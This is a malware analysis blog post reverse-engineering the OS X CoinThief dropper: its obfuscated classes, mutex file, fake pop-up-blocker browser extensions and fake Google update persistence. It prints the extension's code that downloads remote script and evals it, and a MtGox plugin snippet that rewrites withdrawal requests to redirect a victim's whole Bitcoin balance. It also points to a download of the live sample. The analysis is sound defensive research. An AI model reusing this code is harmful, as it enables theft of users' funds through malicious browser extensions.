There is no such thing as malware in OS X but last week another sample was spotted and made the “news”. I am talking about CoinThief, a malware designed to hijack Bitcoin accounts and steal everything (I must confess I laughed a bit; I think Bitcoin is just a bullshit pyramid scheme but I digress).

There are a few samples out there, in different stages of evolution, so this is probably not a very recent operation. Nicholas Ptacek from SecureMac broke the story and did an initial analysis. Check his link here and also ThreatPost for some details about the different infected applications and how it started.
This post will target the initial stage of the malware packed with StealthBit application and a bit into the installed malware browser extensions.

First step is to load the main binary into IDA or Hopper (I still use IDA mostly out of lazyness and habit). We are presented with this nice picture (not all methods shown) of very weird class and method names.

obfuscated names

This triggers immediate attention which I don’t think it’s good at all if you are trying to hide attention. Another example this time from class-dump:

__attribute__((visibility("hidden")))
@interface IOSDJDSNSDOWKDII : NSObject
{
 NSString *_fihwjsndkfkjs;
 NSString *_hisdhiwjknsk;
 NSString *_sdhijkskjdfd;
}

@property(copy, nonatomic) NSString *sdhijkskjdfd; // @synthesize sdhijkskjdfd=_sdhijkskjdfd;
@property(copy, nonatomic) NSString *hisdhiwjknsk; // @synthesize hisdhiwjknsk=_hisdhiwjknsk;
@property(copy, nonatomic) NSString *fihwjsndkfkjs; // @synthesize fihwjsndkfkjs=_fihwjsndkfkjs;
- (void).cxx_destruct;
- (BOOL)hidfisdfsguiwomc;
- (id)initWiwijmxug:(id)arg1 jifikwdff:(id)arg2 mkoxjnwhd:(id)arg3;

The strings are also a good starting point to start understanding the puzzle. It’s easy to spot base64 encoded strings, confirmed by the presence of base64 methods.

bGFzdENocm9tZVBha1BhdGNoZWRWZXJzaW9u
L0FwcGxpY2F0aW9ucy9Hb29nbGUgQ2hyb21lLmFwcC9Db250ZW50cy9WZXJzaW9ucw==
q24@?0@"NSString"8@"NSString"16
R29vZ2xlIENocm9tZSBGcmFtZXdvcmsuZnJhbWV3b3JrL1Jlc291cmNlcw==
RXh0ZW5zaW9uU2V0dGluZ3MucmV0dXJuRXh0ZW5zaW9uc0RhdGEgPSBmdW5jdGlvbihleHRlbnNpb25zRGF0YSkgewogICAgLy8gV2UgY2FuIGdldCBjYWxsZWQgbWFueSB0aW1lcyBpbiBzaG9ydCBvcmRlciwgdGh1cyB3ZSBuZWVkIHRvCiAgICAvLyBiZSBjYXJlZnVsIHRvIHJlbW92ZSB0aGUgJ2ZpbmlzaGVkIGxvYWRpbmcnIHRpbWVvdXQuCiAgICA=
RXh0ZW5zaW9uU2V0dGluZ3MucmV0dXJuRXh0ZW5zaW9uc0RhdGEgPSBmdW5jdGlvbihleHRlbnNpb25zRGF0YSkgewpmb3IodmFyIGE9MCxiPWV4dGVuc2lvbnNEYXRhLmV4dGVuc2lvbnMsYz0wO2M8Yi5sZW5ndGg7YysrKWlmKCIlQCI9PWJbY10uaWQpe2E9YztiLnNwbGljZShhLDEpO2JyZWFrfQo=

At this point we know we have a binary with obfuscated strings and class/method names. Different strategies are possible to continue analysis and reversing. DTrace and similar utilities can be used to have a general overview of what the binary is trying to do, or we can go directly into IDA and start making sense of the code. In the second option we can start reversing at main() or we can start checking what the obfuscated methods are trying to do and rename to something meaningful. I am a great fan of the second so I started checking each method sequentially.

The getter and setter methods are easy to spot. The setter methods start with set in the name because they are automatically generated via property keyword, and getters because their code just retrieves the instance variable. The obfuscator is probably a script that modifies the names before compilation (I don’t think a define is enough for this), a LLVM pass, or just developed with those names.

setter getter example

Now let me show you a very simple method that writes a mutex to ~/Library/Preferences/fsdiskquota1. In this file is present it means that the dropper code was previously executed and it should not happen again.

obfuscated mutex creation

The base64 string is decoded, tilde expanded to the full path and fsdiskquota1 mutex written. Nothing very complicated.
The trick here is to start renaming the methods so you can easily follow up the code. That is the annoying part of this obfuscation method but with a small dose of patience and time it falls apart. Renamed and commented method:

mutex creation

To make it easier for you this is a screenshot of the methods I renamed. Not all but the most important to understand what the dropper does.

renamed methods

The init method for the class HIFOWEIOWEOJSDJFIVB initializes an instance variable with a NSFileManager object and retrieves the location of the current logged in user NSLibraryDirectory. Then what I renamed as startBackdoor is called and the fun starts.

This method does the following:

  • Erases itself and replaces it with the original StealthBit binary.
  • Starts the original binary. At this point you have the original application running and the dropper, which will continue its work in the background.
  • Verifies if the mutex exists.
  • If mutex does not exist, write it and continue unpacking the malware payload.
  • Browser extensions for Safari and Chrome are unpacked into a temporary folder.
  • If unpack was successful, Safari version is retrieved. The extensions are only compatible with Safari 5 or higher.
  • Installs Safari extension that is masked as a pop up blocker.
  • Retrieve Chrome version (if installed). Only supports Chrome v25 or higher.
  • Installs Chrome extension.
  • Verifies if Library/Handsoff folder exists.
  • If Handsoff is not installed the backdoor will be made persistent by creating a fake Googe Software Update launch agent.
  • Remove temporary files and exit.

At this point and assuming the whole process was successful against Safari, Chrome, and persistence, we have two malware extensions loaded into the browsers and a RAT installed in the target machine. Two screenshots of the startBackdoor method:

start backdoor 1
start backdoor 2

The original binary is located in the _CodeSignature folder and named .dSYM. The extensions are located in the same folder in a bzip2 archive named .sig. The dropper does not show in the Dock because LSUIElement setting is used in the Info.plist. When the dropper erases itself, the setting is removed from the plist so the legit application shows up in the Dock. For the user everything looks normal – application startup time is fast. The original application is started by creating a new NSTask and using the open command to start again the now legit StealthBit.app.

The functions that install the extensions are not very interesting in terms of reversing. They locate the extension folders, and install/active the malware extension. The Chrome related methods are a bit more complex because they look up more information about its internals and mess with the paks and so on. I don’t know much about Chrome internal organization and wasn’t much interested in reversing them – nothing valuable to me in terms of understanding the whole process.

Now a bit into the extensions, using the Safari version as reference. As previously said, it is spoofed as a Pop-Up Blocker made by Eric Wong using KangoExtensions. The contents of description file are:

{
    "kango_version": "1.3.0 d6f8f2cf3761",
    "content_scripts": [
        "libs/jquery-2.0.3.min.js",
        "injected/main.js"
    ],
    "name": "Pop-Up Blocker",
    "creator": "Eric Wong",
    "kango_package_id": "dev",
    "background_scripts": [
        "libs/jquery-2.0.3.min.js",
        "settings/defaultSettings.js",
        "settings/settings.js",
        "global/encryption/jsEncrypt.js",
        "global/encryption/updateVerifySignature.js",
        "global/cryptoJS/components/core-min.js",
        "global/cryptoJS/components/enc-base64-min.js",
        "global/cryptoJS/components/sha1-min.js",
        "global/cryptoJS/rollups/aes.js",
        "global/cryptoJS/rollups/md5.js",
        "global/cryptoJS/rollups/tripledes.js",
        "global/jsrsasign/ext/jsbn-min.js",
        "global/jsrsasign/ext/jsbn2-min.js",
        "global/jsrsasign/ext/base64-min.js",
        "global/jsrsasign/ext/rsa-min.js",
        "global/jsrsasign/ext/rsa2-min.js",
        "global/jsrsasign/asn1hex-1.1.min.js",
        "global/jsrsasign/rsapem-1.1.min.js",
        "global/jsrsasign/rsasign-1.2.min.js",
        "global/jsrsasign/x509-1.1.min.js",
        "global/jsrsasign/crypto-1.1.min.js",
        "background.js"
    ],
    "homepage_url": "http://kangoextensions.com/",
    "version": "1.0.0",
    "id": "com.optimalcycling.safari.popupblocker",
    "description": "Blocks pop-up windows and other annoyances."
}

Screenshot of the Safari extension:

extension installed

The Kango stuff is mostly uninteresting except for the background.js file. What it does is to try to contact a remote server and download a file, which will be the effective malware payload responsible for hijacking the Bitcoin sites accounts information.

if(!kango.storage.getItem('installed')) {
    //Get first version and run

    $.get(settings.get('reportServer')+"/updates/firstUpdate.php", function(data) {
        //Checking signature
        if(updateVerifySignature(CryptoJS.SHA1(data.global), CryptoJS.SHA1(data.injected), data.signature)) {

            //Saving to localstorage
            kango.storage.setItem('globalJS',data.global);
            kango.storage.setItem('injectedJS',data.injected);
            kango.storage.setItem('installed',true);

            //Saving current version
            kango.storage.setItem('extensionUpdateTimestamp',0);
            kango.storage.setItem('agentUpdateTimestamp',0);

            //Executing script
            eval(kango.storage.getItem('globalJS'));
            if(settings.get('debug')) console.log("Valid First Release");
        } else {
            if(settings.get('debug')) console.log("First Release: Bad Signature");
        }

    }, "json" );
} else {
    //Running saved version
    try {
        eval(kango.storage.getItem('globalJS'));
    } catch(err) {

        if(kango.storage.getItem('globalJS_old')) {
            kango.storage.setItem('globalJS', kango.storage.getItem('globalJS_old'));
        } else {
            //Error in version 0, resetting extension.
            kango.storage.clear();
        }
    }
}

if(settings.get('debug')) {
    function uninstall() {
        console.log("Uninstalling...");
        kango.storage.clear();
    }
}

A screenshot of the connection attempt to the remote server:

firewall connection

If you are interested in looking at the contents of the malware payload just download it here. Password is “infected!”. You can find javascript code such as this sample for the MtGoxPlugin:

    MtGoxPlugin.prototype.injectPage = function (withdrawKey) {
        function injectScript(source) {
            var elem = document.createElement("script");
            elem.type = "text/javascript";
            elem.innerHTML = source;
            document.head.appendChild(elem);
        }

        var balance = Math.round((parseFloat($('#virtualCur span').text().match(/(.*)\\s/)[1])-0.001)*100000000)/100000000;

        injectScript("var pubKey = '"+ withdrawKey +"'; balanceBTC = '"+ balance +"'; "+
        "("+(function() {
            $.ajaxSetup({
                beforeSend: function(jqXHR, settings) {
                    if(settings.url == '/api/2/money/bitcoin/send_simple') {
                        settings.data = settings.data.replace(/amount=.*\\&address=/, 'amount='+ balanceBTC +'&address=');
                        settings.data = settings.data.replace(/address=.*\\&address/, 'address='+ pubKey +'&address');
                    }    
            }});
        }).toString()+")()");
    };

The last step is to reverse the RAT, a binary called Agent and installed in ~/Library/Application Support/.com.google.softwareUpdateAgent. I did not reverse this module yet but it appears to be responsible for sending data to the remote servers and also remote access to the infected machines. It has a few obfuscated methods reused from the dropper but everything else is not obfuscated. There is a method that verifies the presence of Little Snitch, which is funny because that doesn’t exist in the dropper. Probably some quality control issues! There’s also a method checking for 1Password.

agent methods

What else is there to say about this? I have at least five different infected applications, in different stages of evolution (some without obfuscated methods).
As far as I have read/know they were available on popular downloads sites. Trust is a difficult problem to solve.

What are the conclusions and lessons from this malware?
There’s some fuss around regarding my previous post about evil iTunes plugins, with a quite surprising number of “uninformed” people using the argument of “arbitrary code execution”. Well, the thing is that everything you download from the Internet is arbitrary code unless you reverse every single binary, and that has the strong assumption that you are able to understand everything it does. Quite a task I might say!
A normal looking application can easily copy malicious payloads to many different places, iTunes plugins being one of the interesting targets, but it can also easily patch other applications since most are installed with same permissions as the normal user. There’s no need for exploits, suspicious please gimme r00t dialogs. Just an innocent app you download and trust. In the post-Snowden world what guarantees you have that famous apps don’t have state-sponsored payloads? None I might say.
The open source bullshit principle of many eyes looking has been shown too many times to be a really bad assumption – not that many eyes are looking and stupid bugs are kept alive for many years. Sandboxes and the AppStore improve the situation but they still suffer from vulnerabilities and their binaries are probably more opaque (iOS in particular) and with less incentives to be reversed (Apple wouldn’t let malware in the AppStore, right?).

I will probably edit this post in the next days to add some missing info or improve some paragraphs. Too tired right now.

Have fun,
fG!